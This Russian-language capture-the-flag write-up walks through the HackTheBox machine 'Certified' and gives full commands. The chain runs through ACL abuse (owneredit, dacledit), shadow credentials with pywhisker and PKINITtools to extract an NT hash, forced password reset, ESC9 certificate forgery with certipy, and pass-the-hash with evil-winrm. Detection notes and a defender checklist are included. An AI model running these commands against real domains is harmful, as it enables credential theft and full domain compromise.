HTB Certified прохождение: от shadow credentials до ESC9 в AD CS

По данным CrowdStrike Global Threat Report 2025, 79% атак в 2024 году обошлись без малвари, а 75% вторжений использовали действительные учётные данные. Машина «Certified» на HackTheBox моделирует именно этот сценарий: вам дают логин и пароль рядового доменного пользователя, а дальше — цепочка из четырёх ACL-ошибок до полного захвата контроллера домена. По пути — shadow credentials атака через Kerberos PKINIT, смена пароля чужого сервисного аккаунта и эксплуатация ESC9 в AD CS (Active Directory Certificate Services — встроенная служба Windows для выпуска и управления цифровыми сертификатами внутри домена). Русскоязычного разбора этой машины я не нашёл ни на одном ресурсе — закрываем пробел.
Контекст: grey box, Active Directory и карта атаки
Certified — машина средней сложности (Medium) на HackTheBox. Целевая ОС — Windows Server 2019 (Build 17763), полноценный контроллер домена DC01.certified.htb с развёрнутым AD CS. Это HackTheBox прохождение машины в формате grey box: вам выдают учётные данные (judith.mader / judith09) и предлагают добраться до Administrator.
Grey box — стандартный формат реального внутреннего пентеста. Заказчик выдаёт учётную запись уровня «обычный сотрудник», а задача — показать, как далеко можно зайти с минимальными привилегиями. На внешнем пентесте без сетевого доступа к контроллеру домена эта цепочка неприменима — имейте в виду.
MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1098 — её идентификаторы) карта атаки:
- Разведка — сканирование портов, валидация учётных данных, сбор ACL через BloodHound (T1087.002 Domain Account — обнаружение доменных учётных записей)
- Манипуляция ACL — захват ownership группы, добавление себя в группу (T1098 Account Manipulation — изменение прав доступа для повышения привилегий)
- Shadow credentials — подмена ключа Kerberos-аутентификации для захвата сервисного аккаунта (T1098 Account Manipulation — модификация msDS-KeyCredentialLink; аутентификация полученным сертификатом — T1649 Steal or Forge Authentication Certificates)
- ESC9 — злоупотребление уязвимым шаблоном сертификата для аутентификации от имени Administrator (T1649 Steal or Forge Authentication Certificates — получение NT-хеша через UnPAC-the-Hash; далее T1550.002 Pass the Hash — применение хеша через evil-winrm)
Уточнение: на Certified «злоупотребление делегированием Kerberos» — не про constrained или unconstrained delegation самого протокола, а про чрезмерно делегированные права в ACL Active Directory. При этом Kerberos-механизмы (PKINIT, TGT) — ключевые инструменты эксплуатации на каждом этапе.
Требования к окружению
- ОС атакующего: Kali Linux 2024.x+ или Parrot OS. Минимум 4 ГБ RAM для VM
- Сеть: активное VPN-подключение к HTB (файл .ovpn), доступ к 10.10.11.41
- Python: 3.8+
- Инструменты (устанавливаются через pip/apt):
- certipy-ad v4.8+ (GitHub ly4k/Certipy, активная разработка) — основной certipy инструмент для атак на PKI Active Directory
- bloodhound-ce-python (Community Edition) — сборщик данных для BloodHound
- impacket (Fortra/impacket, активная поддержка) — набор скриптов: owneredit.py, dacledit.py
- pywhisker (ShutdownRepo/pywhisker на GitHub) — инструмент для shadow credentials
- PKINITtools (dirkjanm/PKINITtools) — утилиты для Kerberos PKINIT
- evil-winrm — удалённый доступ через WinRM
- netexec (бывший CrackMapExec) — проверка учётных данных и перечисление ресурсов
- Синхронизация времени: обязательна (
ntpdateилиtimedatectl). Kerberos не работает при разнице во времени с DC больше 5 минут — на этом спотыкается каждый второй новичок
Разведка: BloodHound, certipy и маппинг путей атак
Прежде чем атаковать, нужно понять инфраструктуру: какие сервисы запущены, какие ACL-права есть у нашего пользователя и развёрнут ли AD CS с уязвимыми шаблонами.
Сканирование и валидация
Первым делом добавляем записи в /etc/hosts. Без этого Kerberos-аутентификация не сработает: протокол требует DNS-имена, а не голые IP-адреса. Прописываем 10.10.11.41 certified.htb DC01.certified.htb.
Запускаем nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 10.10.11.41. В выводе — стандартный набор портов контроллера домена: DNS (53), Kerberos (88), LDAP (389/636), SMB (445), WinRM (5985). В сертификате LDAPS указано имя CA: certified-DC01-CA — подтверждение того, что Active Directory Certificate Services развёрнут.
Проверяем учётные данные: netexec smb certified.htb -u judith.mader -p judith09. Ожидаем [+] — пароль верный. Дополнительно проверяем LDAP и WMI. Доступные SMB-шары (--shares) — только стандартные (IPC$, NETLOGON, SYSVOL). Ничего интересного. Основной вектор — через ACL и сертификаты.
Обнаружение AD CS уязвимостей
AD CS уязвимости — один из самых недооценённых классов атак в корпоративных доменах. Проверяем наличие CA: netexec smb certified.htb -u judith.mader -p judith09 -M enum_ca. Ожидаемый вывод: Active Directory Certificate Services Found.
Запускаем certipy для поиска уязвимых шаблонов: certipy find -u judith.mader -p judith09 -dc-ip 10.10.11.41 -stdout -enabled. Certipy перечислит все шаблоны сертификатов, права на их запрос и флаги безопасности.
В выводе ищем два признака:
- Шаблон CertifiedAuthentication (точное имя возьмите из вывода
certipy find) — у него установлен флаг NoSecurityExtension в Enrollment Flags. Что это значит на практике: в выпущенный сертификат не включается расширение безопасности, привязывающее сертификат к конкретному запросившему пользователю - Право на запрос (Enrollment Rights) этого шаблона есть у пользователя
ca_operator(проверьте точное имя шаблона в выводе certipy)
Два этих факта вместе — основа для ESC9 эксплуатации. Но до ca_operator нужно добраться через цепочку ACL.
BloodHound: визуализация ACL-цепочки
BloodHound — инструмент для визуализации связей и прав доступа в Active Directory. Он превращает сухие ACL-записи в граф, на котором видно, кто кого контролирует. Без него разбираться в DACL вручную — занятие для мазохистов.
Собираем данные: bloodhound-ce-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip. Через LDAP-запросы извлекаются все объекты домена — пользователи, группы, компьютеры, права доступа. Результат — zip-архив для загрузки в веб-интерфейс BloodHound CE.
После загрузки данных вырисовывается путь:
- judith.mader → WriteOwner → группа Management
- Management → GenericWrite → management_svc
- management_svc → GenericAll → ca_operator
- ca_operator → Enrollment Rights на шаблон с ESC9 → Administrator
Четыре шага, каждый — отдельная техника. Разберём по порядку.
Shadow credentials атака: от DACL-цепочки до NT-хеша management_svc
DACL (Discretionary Access Control List) — список прав доступа, определяющий, кто и что может делать с объектом в AD. Ошибки в DACL — это когда обычному пользователю назначены права, которые ему не нужны. В нашем случае таких ошибок три подряд, и каждая по отдельности выглядит безобидно.
Контекст применимости: внутренний пентест, grey box, Windows Server 2016–2022. Работает при наличии любых валидных доменных учётных данных.
Шаг 1: WriteOwner — становимся владельцем группы
Право WriteOwner позволяет сменить владельца объекта. Владелец может назначить себе любые права — стандартное поведение Windows, а не баг. Став владельцем группы Management, мы добавим себя в неё, а членам группы назначено GenericWrite на аккаунт management_svc.
# 1. Забираем ownership над группой Management
# ВАЖНО: owneredit.py и dacledit.py НЕ входят в mainline Fortra/impacket.
# Установка: git clone https://github.com/ShutdownRepo/impacket && pip install .
# Альтернативы: bloodyAD или PowerView (Add-DomainObjectAcl)
python3 owneredit.py -action write -new-owner 'judith.mader' \
-target 'Management' 'certified.htb/judith.mader:judith09'
# 2. Даём себе право на изменение членства в группе
# (владелец объекта в AD имеет неявное право WRITE_DAC,
# поэтому dacledit сработает только после смены owner выше)
# ВАЖНО: dacledit.py доступен только в fork ShutdownRepo/impacket (см. выше).
# В mainline Fortra/impacket этого скрипта нет — команда impacket-dacledit
# вернёт «command not found». Альтернатива: bloodyAD или PowerView (Add-DomainObjectAcl)
python3 dacledit.py -action write -rights WriteMembers \
-principal 'judith.mader' \
-target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' \
'certified.htb/judith.mader:judith09'
# 3. Добавляем себя в группу
net rpc group addmem "Management" "judith.mader" \
-U 'certified.htb/judith.mader%judith09' -S 10.10.11.41
Если owneredit выведет сообщение об изменении владельца, dacledit покажет добавление ACE (Access Control Entry — отдельная запись в списке прав), а net rpc подтвердит добавление в группу — всё прошло штатно.
Нюанс: на машине Certified работает периодический сброс изменений (scheduled task), возвращающий ACL к исходному состоянию. Все три команды лучше собрать в один bash-скрипт и выполнять последовательно. В реальном пентесте такого сброса нет, но изменения ACL нужно откатить по завершении проекта — это часть правил engagement.
Шаг 2: GenericWrite — shadow credentials
Теперь мы в группе Management, и у нас GenericWrite на management_svc. GenericWrite позволяет изменять большинство атрибутов объекта, включая [msDS-KeyCredentialLink](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/de61eb56-b75f-4743-b8af-e9be154b47af) — атрибут для аутентификации по сертификатам через PKINIT (расширение Kerberos для аутентификации по паре ключей вместо пароля).
Shadow credentials атака работает в четыре шага:
1. Генерируем пару ключей (публичный + приватный)
2. Записываем публичный ключ в msDS-KeyCredentialLink целевого пользователя
3. Запрашиваем TGT (Ticket Granting Ticket — «билет на получение других билетов» в Kerberos; доказывает, что вы аутентифицированы в домене) через PKINIT с приватным ключом
4. Из ответа DC извлекаем NT-хеш пользователя
# Добавляем shadow credential на management_svc
python3 pywhisker.py -d certified.htb -u judith.mader \
-p judith09 --target management_svc --action add
# Запрашиваем TGT через PKINIT (pfx-файл и пароль из вывода pywhisker)
python3 gettgtpkinit.py certified.htb/management_svc \
-cert-pfx <файл.pfx> -pfx-pass <пароль> management_svc.ccache
# Извлекаем NT-хеш
export KRB5CCNAME=management_svc.ccache
python3 getnthash.py -key <AS-REP-ключ> certified.htb/management_svc
Pywhisker создаст файл .pfx (сертификат с приватным ключом) и выведет пароль к нему — подставьте оба значения в следующую команду. Gettgtpkinit запросит TGT и сохранит в .ccache-файл; в конце вывода будет строка AS-REP encryption key: <hex> — скопируйте это значение и подставьте в getnthash.py как значение флага -key. Getnthash расшифрует NT-хеш management_svc из сохранённого AS-REP, используя этот ключ. С хешем подключаемся: evil-winrm -i DC01.certified.htb -u management_svc -H <NT-хеш> и забираем user.txt — первый флаг.
Когда техника не работает:
- Shadow credentials требуют Windows Server 2016+. На Server 2012 R2 атрибут
msDS-KeyCredentialLinkне поддерживается — и точка - Если в домене реально используются смарт-карты или Windows Hello for Business, администраторы могут мониторить изменения этого атрибута
- CrowdStrike Falcon и SentinelOne детектируют модификацию
msDS-KeyCredentialLinkчерез отслеживание LDAP-операций. Microsoft Defender for Identity (MDI) поднимает алерт на shadow credentials из коробки - В логах Windows это событие 4768 (Kerberos TGT Request) с типом pre-authentication 16 (PKINIT). Для blue team: если в домене нет смарт-карт — любой запрос PKINIT это красный флаг
ESC9 эксплуатация: AD CS уязвимости и повышение привилегий до Administrator
У нас есть NT-хеш management_svc, а у этого аккаунта GenericAll над ca_operator. GenericAll — максимально широкое право: можно менять пароль, атрибуты, членство в группах целевого объекта. По сути — полный контроль.
Шаг 3: GenericAll — смена пароля ca_operator
Ca_operator имеет право запрашивать сертификаты по шаблону с ESC9. Чтобы действовать от его имени, меняем пароль: net rpc password "ca_operator" 'NewPass123!' -U 'certified.htb/management_svc' --pw-nt-hash -S DC01.certified.htb, подставив NT-хеш management_svc. Теперь мы можем аутентифицироваться как ca_operator.
Шаг 4: ESC9 — повышение привилегий AD CS
ESC9 (Escalation Scenario 9) — одна из техник атак на PKI Active Directory, задокументированная в исследованиях SpecterOps. Разберём, почему она работает:
- Шаблон сертификата имеет флаг NoSecurityExtension в Enrollment Flags
- Выпущенный сертификат НЕ содержит SID (идентификатор безопасности) запросившего пользователя
- При аутентификации по такому сертификату контроллер домена полагается на UPN (userPrincipalName — уникальное имя пользователя в домене), записанный в сертификате
- Если у нас есть GenericWrite/GenericAll над аккаунтом-заявителем, мы можем подменить его UPN на UPN жертвы до запроса сертификата
Цепочка ESC9 на Certified:
- Через management_svc (GenericAll) меняем UPN ca_operator на
Administrator - Запрашиваем сертификат как ca_operator по шаблону с NoSecurityExtension
- Сертификат выпускается на UPN «Administrator» — без привязки к SID ca_operator
- Восстанавливаем оригинальный UPN (иначе certipy auth не сопоставит сертификат с аккаунтом Administrator)
- Аутентифицируемся с полученным сертификатом
# Подменяем UPN ca_operator на Administrator
# У встроенного Administrator атрибут UPN обычно пуст — указываем sAMAccountName без суффикса;
# если у жертвы UPN задан явно, укажите его полностью, например administrator@certified.htb
certipy account update -u management_svc@certified.htb \
-hashes :<NT-хеш> -user ca_operator -upn administrator
# Запрашиваем сертификат по уязвимому шаблону
certipy req -u ca_operator@certified.htb -p 'NewPass123!' \
-ca certified-DC01-CA -template 'CertifiedAuthentication'
# Восстанавливаем UPN
certipy account update -u management_svc@certified.htb \
-hashes :<NT-хеш> -user ca_operator \
-upn ca_operator@certified.htb
# Аутентифицируемся сертификатом
certipy auth -pfx administrator.pfx -domain certified.htb
Certipy req создаст файл administrator.pfx, а certipy auth вернёт NT-хеш Administrator. Подключаемся evil-winrm -i DC01.certified.htb -u Administrator -H <NT-хеш> и забираем root.txt — машина пройдена.
Почему это работает: флаг NoSecurityExtension убирает из сертификата привязку к SID конкретного пользователя. Без этого расширения DC маппит сертификат по UPN — а UPN мы подменили. Это ошибка конфигурации шаблона, не баг в коде. Вот почему certipy find показывает этот шаблон как уязвимый.
Когда ESC9 не работает:
- Нужен GenericWrite или GenericAll над аккаунтом с правом Enrollment на уязвимый шаблон — без этого менять UPN не получится
- На DC с обновлением KB5014754 (май 2023+) Microsoft усилила проверку маппинга сертификатов. Но дефолтное значение реестра
[StrongCertificateBindingEnforcement](https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)— 1 (Compatibility mode), при котором ESC9 остаётся эксплуатируемой. Полная нейтрализация наступает только при явной установке значения 2 (Full Enforcement), переход на которое Microsoft несколько раз откладывала - Elastic 8.x+ детектирует цепочку через корреляцию событий 4738 (User Account Was Changed) с запросами сертификатов (4887)
- Kaspersky EDR Expert ловит аномальные изменения UPN в связке с обращениями к CA
Карта атаки и чеклист защиты
| Этап | Техника | MITRE ATT&CK | Инструмент |
|---|---|---|---|
| Initial Access | Валидные доменные учётные данные | T1078.002 Domain Accounts | netexec |
| Discovery | Перечисление ACL и пользователей | T1087.002 Domain Account | BloodHound, certipy |
| Privilege Escalation | Манипуляция ACL (WriteOwner, GenericWrite) | T1098 Account Manipulation | impacket |
| Credential Access | Shadow credentials (PKINIT) | T1098 Account Manipulation + T1649 Steal or Forge Certificates | pywhisker, PKINITtools |
| Privilege Escalation | ESC9 — подделка сертификата | T1649 | certipy |
| Lateral Movement | Pass the Hash (через WinRM) | T1550.002 Pass the Hash | evil-winrm |
Чеклист для blue team
- Проверить все кастомные шаблоны AD CS на флаг NoSecurityExtension — команда
certipy find -vulnerableпокажет проблемные шаблоны - Установить
StrongCertificateBindingEnforcement = 2(полный enforce) на всех контроллерах домена - Аудит DACL: убрать WriteOwner, GenericWrite, GenericAll у аккаунтов, которым эти права не нужны. Инструмент — PingCastle или BloodHound Cypher Queries
- Мониторинг связки событий 4738 + 4887 + 4768 (pre-auth type 16) в окне 15 минут — сигнатура ESC9. Предварительно включите аудит Certificate Services:
certutil -setreg CA\AuditFilter 127и перезапустите CertSvc, иначе события 4887 не генерируются - Ограничить Enrollment Rights на шаблоны минимально необходимым сервисным аккаунтам
- Включить аудит изменений атрибута
msDS-KeyCredentialLink— сигнатура shadow credentials
Certified — не про одну уязвимость, а про цепочку, где каждое звено по отдельности выглядит безобидно, но вместе они дают Domain Admin. По данным IBM X-Force Threat Intelligence Index 2025, рост атак с использованием действительных учётных данных составил 71% год к году — ACL-злоупотребления в связке с AD CS стоят в авангарде этой тенденции.
AD CS — тикающая бомба в подавляющем большинстве корпоративных доменов. На десятках пентестов я видел одну и ту же картину: служба сертификатов развёрнута, шаблоны кастомизированы «на скорую руку», а команда защиты даже не знает, какие шаблоны существуют и кому выданы права на запрос. Класс атак ESC вырос с первоначальных ESC1–ESC8 (исследование SpecterOps) до ESC14, и останавливаться не собирается. При этом AD CS — не опциональный компонент: если в домене есть хотя бы один сервис с HTTPS (Exchange, ADFS, SCCM), сертификатная инфраструктура почти наверняка развёрнута. Проблема усугубляется тем, что DACL-ошибки вроде WriteOwner или GenericAll на сервисных аккаунтах — не баги, а результат ручной конфигурации, которую никто не ревьюит годами. Думаю, через год-два ESC-атаки станут таким же стандартным этапом каждого внутреннего пентеста, как Kerberoasting (T1558.003 — извлечение тикетов сервисных аккаунтов для офлайн-подбора паролей) сегодня: не вопрос «если найдём уязвимый шаблон», а вопрос «сколько их будет». На курсе WAPT эту цепочку — от ACL-разведки через shadow credentials до ESC — проходят в лабораторных условиях с реальным контроллером домена.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.